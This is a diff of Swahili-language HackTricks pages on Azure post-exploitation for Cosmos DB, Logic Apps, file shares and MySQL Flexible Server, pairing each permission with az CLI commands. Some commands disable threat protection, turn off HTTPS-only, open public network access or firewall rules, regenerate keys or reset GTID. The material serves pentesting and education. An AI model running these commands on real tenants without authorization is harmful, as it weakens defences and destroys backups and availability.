|
||||
### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write`
|
||||
|
||||
Mtu mwenye ruhusa hii ataweza **kuandika na kufuta faili katika kontena** ambayo inaweza kumruhusu kufanya uharibifu au hata kupandisha mamlaka (kwa mfano, kufuta baadhi ya msimbo uliohifadhiwa katika blob):
|
||||
```bash
|
||||
|
||||
+16
-63
@@ -5,27 +5,21 @@
|
||||
## CosmosDB Post Exploitation
|
||||
Kwa maelezo zaidi kuhusu SQL Database angalia:
|
||||
|
||||
{% content-ref url="../az-services/az-cosmosDB.md" %}
|
||||
[az-cosmosDB.md](../az-services/az-cosmosDB.md)
|
||||
{% endcontent-ref %}
|
||||
{{#ref}}
|
||||
../az-services/az-cosmosDB.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/read" && "Microsoft.DocumentDB/databaseAccounts/write"
|
||||
### `Microsoft.DocumentDB/databaseAccounts/read` && `Microsoft.DocumentDB/databaseAccounts/write`
|
||||
Kwa ruhusa hii, unaweza kuunda au kuboresha akaunti za Azure Cosmos DB. Hii inajumuisha kubadilisha mipangilio ya akaunti, kuongeza au kuondoa maeneo, kubadilisha viwango vya usawa, na kuwezesha au kuzima vipengele kama vile maandiko ya maeneo mengi.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb update \
|
||||
--name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--public-network-access ENABLED
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write"
|
||||
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write`
|
||||
Kwa ruhusa hii, unaweza kuunda au kubadilisha kontena (makusanyo) ndani ya hifadhidata ya SQL ya akaunti ya Azure Cosmos DB. Kontena zinatumika kuhifadhi data, na mabadiliko kwao yanaweza kuathiri muundo wa hifadhidata na mifumo ya ufikiaji.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Create
|
||||
az cosmosdb sql container create \
|
||||
@@ -43,25 +37,17 @@ az cosmosdb sql container update \
|
||||
--name <container_name> \
|
||||
--ttl 3600
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read"
|
||||
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read`
|
||||
Kwa ruhusa hii, unaweza kuunda au kubadilisha hifadhidata za SQL ndani ya akaunti ya Azure Cosmos DB. Hii inaruhusu usimamizi wa muundo wa hifadhidata na kuongeza hifadhidata mpya kwenye akaunti. Ingawa ruhusa hii inaruhusu uundaji wa hifadhidata, matumizi yasiyo sahihi au yasiyoidhinishwa yanaweza kusababisha matumizi yasiyo ya lazima ya rasilimali, kuongezeka kwa gharama, au ukosefu wa ufanisi wa operesheni.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb sql database create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <database_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action"
|
||||
### `Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action`
|
||||
|
||||
Kwa ruhusa hii, unaweza kubadilisha kipaumbele cha kufeli cha maeneo kwa akaunti ya database ya Azure Cosmos DB. Kitendo hiki kinatathmini mpangilio ambao maeneo yanakuwa ya msingi wakati wa tukio la kufeli. Matumizi yasiyo sahihi ya ruhusa hii yanaweza kuharibu upatikanaji wa juu wa database au kusababisha athari zisizokusudiwa za uendeshaji.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb failover-priority-change \
|
||||
--name <database_account_name> \
|
||||
@@ -69,12 +55,8 @@ az cosmosdb failover-priority-change \
|
||||
--failover-policies <region1=priority1> <region2=priority2>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/regenerateKey/action"
|
||||
### `Microsoft.DocumentDB/databaseAccounts/regenerateKey/action`
|
||||
Kwa ruhusa hii, unaweza kuunda upya funguo za msingi au za sekondari kwa akaunti ya Azure Cosmos DB. Hii kwa kawaida hutumika kuboresha usalama kwa kubadilisha funguo za zamani, lakini inaweza kuathiri upatikanaji wa huduma au programu zinazotegemea funguo za sasa.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb keys regenerate \
|
||||
--name <account_name> \
|
||||
@@ -82,13 +64,9 @@ az cosmosdb keys regenerate \
|
||||
--key-kind <primary|secondary>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read"
|
||||
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read`
|
||||
|
||||
Kwa ruhusa hii, unaweza kuunda au kubadilisha triggers ndani ya kontena la database ya SQL katika akaunti ya Azure Cosmos DB. Triggers zinakuwezesha kutekeleza mantiki ya upande wa seva kama majibu ya operesheni.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb sql trigger create \
|
||||
--account-name <account_name> \
|
||||
@@ -100,12 +78,8 @@ az cosmosdb sql trigger create \
|
||||
--type Pre \
|
||||
--operation All
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read"
|
||||
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read`
|
||||
Kwa ruhusa hii, unaweza kuunda au kubadilisha taratibu zilizohifadhiwa ndani ya kontena la database ya SQL katika akaunti ya Azure Cosmos DB. Taratibu zilizohifadhiwa katika Cosmos DB ni kazi za JavaScript za upande wa seva ambazo zinakuwezesha kufunga mantiki ya kushughulikia data au kufanya operesheni moja kwa moja ndani ya database.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb sql stored-procedure create \
|
||||
--account-name <account_name> \
|
||||
@@ -115,12 +89,8 @@ az cosmosdb sql stored-procedure create \
|
||||
--name <stored_procedure_name> \
|
||||
--body 'function sample() { return "Hello, Cosmos!"; }'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read"
|
||||
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read`
|
||||
Kwa ruhusa hii, unaweza kuunda au kubadilisha vichocheo ndani ya kontena la hifadhidata ya SQL katika akaunti ya Azure Cosmos DB. Vichocheo vinakuruhusu kutekeleza mantiki ya upande wa seva kama jibu kwa operesheni kama vile kuingiza, kusasisha, au kufuta.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb sql trigger create \
|
||||
--account-name <account_name> \
|
||||
@@ -132,12 +102,8 @@ az cosmosdb sql trigger create \
|
||||
--type Pre \
|
||||
--operation All
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write"
|
||||
### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write`
|
||||
Kwa ruhusa hii, unaweza kuunda au kubadilisha makusanyo ndani ya hifadhidata za MongoDB katika akaunti ya Azure Cosmos DB. Makusanyo yanatumika kuhifadhi hati na kufafanua muundo na ugawaji wa data.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb mongodb collection create \
|
||||
--account-name <account_name> \
|
||||
@@ -145,24 +111,16 @@ az cosmosdb mongodb collection create \
|
||||
--database-name <mongodb_database_name> \
|
||||
--name <collection_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read"
|
||||
Kwa ruhusa hii, unaweza kuunda hifadhidata mpya za MongoDB ndani ya akaunti ya Azure Cosmos DB. Hii inaruhusu kuandaa hifadhidata mpya za kuhifadhi na kusimamia makusanyo na hati.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read`
|
||||
Kwa ruhusa hii, unaweza kuunda hifadhidata mpya za MongoDB ndani ya akaunti ya Azure Cosmos DB. Hii inaruhusu kuandaa hifadhidata mpya kuhifadhi na kusimamia makusanyo na hati.
|
||||
```bash
|
||||
az cosmosdb mongodb database create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <database_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read"
|
||||
### `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read`
|
||||
Kwa ruhusa hii, unaweza kuunda ufafanuzi mpya wa majukumu ya MongoDB ndani ya akaunti ya Azure Cosmos DB. Hii inaruhusu kufafanua majukumu maalum yenye ruhusa maalum kwa watumiaji wa MongoDB.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb mongodb role definition create \
|
||||
--account-name <account_name> \
|
||||
@@ -188,11 +146,8 @@ az cosmosdb mongodb role definition create \
|
||||
"Roles": []
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read"
|
||||
### `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read`
|
||||
Kwa ruhusa hii, unaweza kuunda maelezo mapya ya mtumiaji wa MongoDB ndani ya akaunti ya Azure Cosmos DB. Hii inaruhusu upatikanaji wa watumiaji wenye majukumu maalum na viwango vya ufikiaji kwa hifadhidata za MongoDB.
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb mongodb user definition create \
|
||||
--account-name <account_name> \
|
||||
@@ -212,6 +167,4 @@ az cosmosdb mongodb user definition create \
|
||||
]
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+3
-3
@@ -10,7 +10,7 @@ Kwa maelezo zaidi kuhusu file shares angalia:
|
||||
../az-services/az-file-shares.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read
|
||||
### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read`
|
||||
|
||||
Mtu mwenye ruhusa hii ataweza **orodhesha** faili ndani ya file share na **kupakua** faili ambazo zinaweza kuwa na **taarifa nyeti**.
|
||||
```bash
|
||||
@@ -28,9 +28,9 @@ az storage file download \
|
||||
--dest /path/to/down \
|
||||
--auth-mode login --enable-file-backup-request-intent
|
||||
```
|
||||
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write, Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action
|
||||
### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write`, `Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action`
|
||||
|
||||
Mtu mwenye ruhusa hii ataweza **kuandika na kufuta faili katika sehemu za faili** ambayo inaweza kumruhusu kuleta uharibifu au hata kuongeza mamlaka (kwa mfano, kufuta baadhi ya msimbo uliohifadhiwa katika sehemu ya faili):
|
||||
Mtu mwenye ruhusa hii ataweza **kuandika na kufuta faili katika sehemu za faili** ambazo zinaweza kumruhusu kuleta uharibifu au hata kuongeza mamlaka (kwa mfano, kufuta baadhi ya msimbo uliohifadhiwa katika sehemu ya faili):
|
||||
```bash
|
||||
az storage blob upload \
|
||||
--account-name <acc-name> \
|
||||
|
||||
+20
-55
@@ -5,14 +5,12 @@
|
||||
## Logic Apps Database Post Exploitation
|
||||
Kwa maelezo zaidi kuhusu logic apps angalia:
|
||||
|
||||
{% content-ref url="../az-services/az-logic-apps.md" %}
|
||||
[az-logic-apps.md](../az-services/az-logic-apps.md)
|
||||
{% endcontent-ref %}
|
||||
{{#ref}}
|
||||
../az-services/az-logic-apps.md
|
||||
{{#endref}}
|
||||
|
||||
### "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
|
||||
Kwa ruhusa hizi, unaweza kubadilisha Logic App workflows na kusimamia vitambulisho vyao. Kwa hasa, unaweza kuassign au kuondoa vitambulisho vya usimamizi vilivyotolewa na mfumo na vitambulisho vya usimamizi vilivyotolewa na mtumiaji kwa workflows, ambayo inaruhusu Logic App kuthibitisha na kufikia rasilimali nyingine za Azure bila akreditif maalum.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
### `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
Kwa ruhusa hizi, unaweza kubadilisha Logic App workflows na kusimamia vitambulisho vyao. Kwa hasa, unaweza kupewa au kuondoa vitambulisho vilivyotolewa na mfumo na vitambulisho vilivyotolewa na mtumiaji kwa workflows, ambayo inaruhusu Logic App kuthibitisha na kufikia rasilimali nyingine za Azure bila akidi maalum.
|
||||
```bash
|
||||
az logic workflow identity remove/assign \
|
||||
--name <workflow_name> \
|
||||
@@ -20,49 +18,32 @@ az logic workflow identity remove/assign \
|
||||
--system-assigned true \
|
||||
--user-assigned "/subscriptions/<subscription_id>/resourceGroups/<resource_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<identity_name>"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Web/sites/read", "Microsoft.Web/sites/write"
|
||||
### `Microsoft.Web/sites/read`, `Microsoft.Web/sites/write`
|
||||
Kwa ruhusa hizi, unaweza kuunda au kuboresha Logic Apps zinazohifadhiwa kwenye Mpango wa Huduma ya App. Hii inajumuisha kubadilisha mipangilio kama vile kuwezesha au kuzima utekelezaji wa HTTPS.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logicapp update \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <logic_app_name> \
|
||||
--set httpsOnly=false
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Web/sites/stop/action", "Microsoft.Web/sites/start/action" || "Microsoft.Web/sites/restart/action"
|
||||
Kwa ruhusa hii, unaweza kuanzisha/kuzima/kurestart programu ya wavuti, ikiwa ni pamoja na Logic Apps zinazohifadhiwa kwenye Mpango wa Huduma ya Programu. Kitendo hiki kinahakikisha kwamba programu iliyokuwa imezimwa hapo awali inarejeshwa mtandaoni na inaendelea na kazi zake. Hii inaweza kuharibu mchakato wa kazi, kuanzisha operesheni zisizokusudiwa, au kusababisha muda wa kukatika kwa kuanzisha, kuzima, au kurestart Logic Apps bila kutarajia.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
### `Microsoft.Web/sites/stop/action`, `Microsoft.Web/sites/start/action` || `Microsoft.Web/sites/restart/action`
|
||||
Kwa ruhusa hii, unaweza kuanzisha/kuzima/kurestart programu ya wavuti, ikiwa ni pamoja na Logic Apps zilizohifadhiwa kwenye Mpango wa Huduma ya Programu. Kitendo hiki kinahakikisha kwamba programu iliyokuwa imezimwa hapo awali inarejeshwa mtandaoni na inaendelea na kazi zake. Hii inaweza kuharibu mchakato wa kazi, kuanzisha operesheni zisizokusudiwa, au kusababisha muda wa kukatika kwa kuanzisha, kuzima, au kurestart Logic Apps bila kutarajia.
|
||||
```bash
|
||||
az webapp start/stop/restart \
|
||||
--name <logic_app_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
{% endcode %}
|
||||
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/read` && `Microsoft.Web/sites/config/write`
|
||||
|
||||
|
||||
### "Microsoft.Web/sites/config/list/action", "Microsoft.Web/sites/read" && "Microsoft.Web/sites/config/write"
|
||||
|
||||
Kwa ruhusa hii, unaweza kuunda au kubadilisha mipangilio ya programu za wavuti, ikiwa ni pamoja na Logic Apps zinazohifadhiwa kwenye Mpango wa Huduma ya Programu. Hii inaruhusu mabadiliko ya mipangilio ya programu, nyuzi za muunganisho, mipangilio ya uthibitishaji, na mengineyo.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Kwa ruhusa hii, unaweza kuunda au kubadilisha mipangilio ya programu za wavuti, ikiwa ni pamoja na Logic Apps zilizo kwenye Mpango wa Huduma ya Programu. Hii inaruhusu mabadiliko ya mipangilio ya programu, nyuzi za muunganisho, mipangilio ya uthibitishaji, na zaidi.
|
||||
```bash
|
||||
az logicapp config appsettings set \
|
||||
--name <logic_app_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--settings "<key>=<value>"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Logic/integrationAccounts/write"
|
||||
Kwa ruhusa hii, unaweza kuunda, kusasisha, au kufuta akaunti za ushirikiano za Azure Logic Apps. Hii inajumuisha kusimamia mipangilio ya kiwango cha akaunti ya ushirikiano kama ramani, mifano, washirika, makubaliano, na zaidi.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
### `Microsoft.Logic/integrationAccounts/write`
|
||||
Kwa ruhusa hii, unaweza kuunda, kusasisha, au kufuta akaunti za ushirikiano za Azure Logic Apps. Hii inajumuisha kusimamia usanidi wa kiwango cha akaunti za ushirikiano kama ramani, mifano, washirika, makubaliano, na zaidi.
|
||||
```bash
|
||||
az logic integration-account create \
|
||||
--resource-group <resource_group_name> \
|
||||
@@ -71,13 +52,9 @@ az logic integration-account create \
|
||||
--sku <Standard|Free> \
|
||||
--state Enabled
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/batchConfigurations/write"
|
||||
### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/batchConfigurations/write`
|
||||
|
||||
Kwa ruhusa hii, unaweza kuunda au kubadilisha mipangilio ya kundi ndani ya akaunti ya uunganisho ya Azure Logic Apps. Mipangilio ya kundi inaelezea jinsi Logic Apps inavyoshughulikia na kuunganisha ujumbe unaoingia kwa ajili ya usindikaji wa kundi.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic integration-account batch-configuration create \
|
||||
--resource-group <resource_group_name> \
|
||||
@@ -88,12 +65,8 @@ az logic integration-account batch-configuration create \
|
||||
"batchSize": 1048576,
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write"
|
||||
### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/maps/write`
|
||||
Kwa ruhusa hii, unaweza kuunda au kubadilisha ramani ndani ya akaunti ya uunganisho ya Azure Logic Apps. Ramani zinatumika kubadilisha data kutoka muundo mmoja hadi mwingine, kuruhusu uunganisho usio na mshono kati ya mifumo na programu tofauti.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic integration-account map create \
|
||||
--resource-group <resource_group_name> \
|
||||
@@ -103,12 +76,8 @@ az logic integration-account map create \
|
||||
--content-type application/xml \
|
||||
--map-content map-content.xslt
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/partners/write"
|
||||
### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/partners/write`
|
||||
Kwa ruhusa hii, unaweza kuunda au kubadilisha washirika katika akaunti ya uunganisho ya Azure Logic Apps. Washirika wanawakilisha entiti au mifumo inayoshiriki katika michakato ya biashara kwa biashara (B2B).
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic integration-account partner create \
|
||||
--resource-group <resource_group_name> \
|
||||
@@ -126,12 +95,8 @@ az logic integration-account partner create \
|
||||
}
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/sessions/write"
|
||||
Kwa ruhusa hii, unaweza kuunda au kubadilisha vikao ndani ya akaunti ya uunganisho ya Azure Logic Apps. Vikao vinatumika katika michakato ya B2B kuunganisha ujumbe na kufuatilia shughuli zinazohusiana kwa kipindi kilichofafanuliwa.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/sessions/write`
|
||||
Kwa ruhusa hii, unaweza kuunda au kubadilisha vikao ndani ya akaunti ya uunganisho ya Azure Logic Apps. Vikao vinatumika katika mchakato wa B2B kuunganisha ujumbe na kufuatilia shughuli zinazohusiana kwa kipindi kilichofafanuliwa.
|
||||
```bash
|
||||
az logic integration-account session create \
|
||||
--resource-group <resource_group_name> \
|
||||
@@ -147,9 +112,9 @@ az logic integration-account session create \
|
||||
}
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "*/delete"
|
||||
Kwa ruhusa hii unaweza kufuta rasilimali zinazohusiana na Azure Logic Apps
|
||||
Kwa ruhusa hizi unaweza kufuta rasilimali zinazohusiana na Azure Logic Apps
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+18
-51
@@ -5,54 +5,40 @@
|
||||
## MySQL Database Post Exploitation
|
||||
Kwa maelezo zaidi kuhusu MySQL Database angalia:
|
||||
|
||||
{% content-ref url="../az-services/az-mysql.md" %}
|
||||
[az-mysql.md](../az-services/az-mysql.md)
|
||||
{% endcontent-ref %}
|
||||
{{#ref}}
|
||||
../az-services/az-mysql.md
|
||||
{{#endref}}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/databases/write" && "Microsoft.DBforMySQL/flexibleServers/databases/read"
|
||||
### `Microsoft.DBforMySQL/flexibleServers/databases/write` && `Microsoft.DBforMySQL/flexibleServers/databases/read`
|
||||
|
||||
Kwa ruhusa hii, unaweza kuunda hifadhidata mpya ndani ya mfano wa MySQL Flexible Server kwenye Azure. Ingawa kitendo hiki mwenyewe hakibadilishi rasilimali zilizopo, kuunda hifadhidata nyingi kupita kiasi au zisizoidhinishwa kunaweza kusababisha matumizi ya rasilimali, au matumizi mabaya ya seva.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server db create \
|
||||
--server-name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <database_name>
|
||||
```
|
||||
{% endcode %}
|
||||
### `Microsoft.DBforMySQL/flexibleServers/backups/write`
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/backups/write"
|
||||
|
||||
Kwa ruhusa hii, unaweza kuanzisha uundaji wa nakala za akiba kwa mfano wa MySQL Flexible Server kwenye Azure. Hii inawawezesha watumiaji kuunda nakala za akiba kwa mahitaji, ambazo zinaweza kuwa muhimu kwa kuhifadhi data katika maeneo maalum ya wakati.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Kwa ruhusa hii, unaweza kuanzisha uundaji wa nakala za akiba kwa mfano wa MySQL Flexible Server kwenye Azure. Hii inawawezesha watumiaji kuunda nakala za akiba kwa mahitaji, ambazo zinaweza kuwa muhimu kwa kuhifadhi data katika wakati maalum.
|
||||
```bash
|
||||
az mysql flexible-server backup create \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
--backup-name <backup_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write"
|
||||
### `Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write`
|
||||
|
||||
Kwa ruhusa hii, unaweza kuunda au kusasisha mipangilio ya Advanced Threat Protection (ATP) kwa mfano wa MySQL Flexible Server kwenye Azure. Hii inaruhusu kuwezesha au kuzima vipengele vya usalama vilivyoundwa kugundua na kujibu shughuli zisizo za kawaida na vitisho vinavyoweza kutokea.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server threat-protection-policy update \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--state <Enabled|Disabled>
|
||||
```
|
||||
{% endcode %}
|
||||
### `Microsoft.DBforMySQL/flexibleServers/firewallRules/write`
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/firewallRules/write"
|
||||
|
||||
Kwa ruhusa hii, unaweza kuunda au kubadilisha sheria za firewall kwa mfano wa MySQL Flexible Server kwenye Azure. Hii inaruhusu kudhibiti ni anwani zipi za IP au maeneo gani yanaweza kufikia seva. Matumizi yasiyoidhinishwa au yasiyo sahihi ya ruhusa hii yanaweza kufichua seva kwa ufikiaji usiotakikana au mbaya.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Kwa ruhusa hii, unaweza kuunda au kubadilisha sheria za firewall kwa mfano wa MySQL Flexible Server kwenye Azure. Hii inaruhusu udhibiti juu ya anwani za IP au maeneo gani yanaweza kufikia seva. Matumizi yasiyoidhinishwa au yasiyo sahihi ya ruhusa hii yanaweza kufichua seva kwa ufikiaji usiotakikana au mbaya.
|
||||
```bash
|
||||
# Create Rule
|
||||
az mysql flexible-server firewall-rule create \
|
||||
@@ -70,71 +56,52 @@ az mysql flexible-server firewall-rule update \
|
||||
--start-ip-address <start_ip> \
|
||||
--end-ip-address <end_ip>
|
||||
```
|
||||
{% endcode %}
|
||||
### `Microsoft.DBforMySQL/flexibleServers/resetGtid/action`
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/resetGtid/action"
|
||||
|
||||
Kwa ruhusa hii, unaweza kurekebisha GTID (Global Transaction Identifier) kwa mfano wa MySQL Flexible Server kwenye Azure. Kurekebisha GTID kutafanya kuwa batili nakala zote za otomatiki, za mahitaji na geo-backups ambazo zilichukuliwa kabla ya hatua ya kurekebisha. Baada ya kurekebisha GTID, hautaweza kufanya PITR (point-in-time-restore) kwa kutumia pointi ya kurejesha haraka au kwa pointi ya kurejesha maalum ikiwa wakati wa kurejesha uliochaguliwa uko kabla ya wakati wa kurekebisha GTID. Na kurejesha kwa mafanikio kwa geo kutakuwa na uwezekano tu baada ya siku 5.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Kwa ruhusa hii, unaweza kurekebisha GTID (Global Transaction Identifier) kwa mfano wa MySQL Flexible Server kwenye Azure. Kurekebisha GTID kutafanya kuwa batili nakala zote za otomatiki, za mahitaji na geo-backups ambazo zilichukuliwa kabla ya hatua ya kurekebisha. Baada ya kurekebisha GTID, huwezi kufanya PITR (point-in-time-restore) kwa kutumia pointi ya kurekebisha haraka au kwa pointi ya kurekebisha ya kawaida ikiwa wakati wa kurekebisha uliochaguliwa uko kabla ya wakati wa kurekebisha GTID. Na kurekebisha geo-kufaulu kutakuwa na uwezekano tu baada ya siku 5.
|
||||
```bash
|
||||
az mysql flexible-server reset-gtid \
|
||||
--name \
|
||||
--resource-group <resource_group_name> \
|
||||
--gtid-set <gtid>
|
||||
```
|
||||
{% endcode %}
|
||||
### `Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action`
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action"
|
||||
|
||||
Kwa ruhusa hii, unaweza kuboresha mipangilio ya usanidi wa mfano wa MySQL Flexible Server kwenye Azure. Hii inaruhusu kubadilisha vigezo vya seva kama vile uboreshaji wa utendaji, mipangilio ya usalama, au mipangilio ya uendeshaji. Unaweza kuboresha vigezo vifuatavyo kwa pamoja katika kundi: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors, na max_connections.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
